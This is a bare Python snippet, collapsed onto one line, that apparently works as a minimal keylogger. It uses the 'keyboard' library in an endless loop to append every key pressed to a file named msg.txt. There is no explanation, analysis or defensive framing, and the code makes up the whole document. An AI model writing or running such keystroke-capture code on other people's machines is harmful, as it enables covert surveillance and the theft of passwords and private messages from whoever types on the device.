import keyboard while True: file = open('msg.txt', 'a') file.write(keyboard.read_key()) file.close()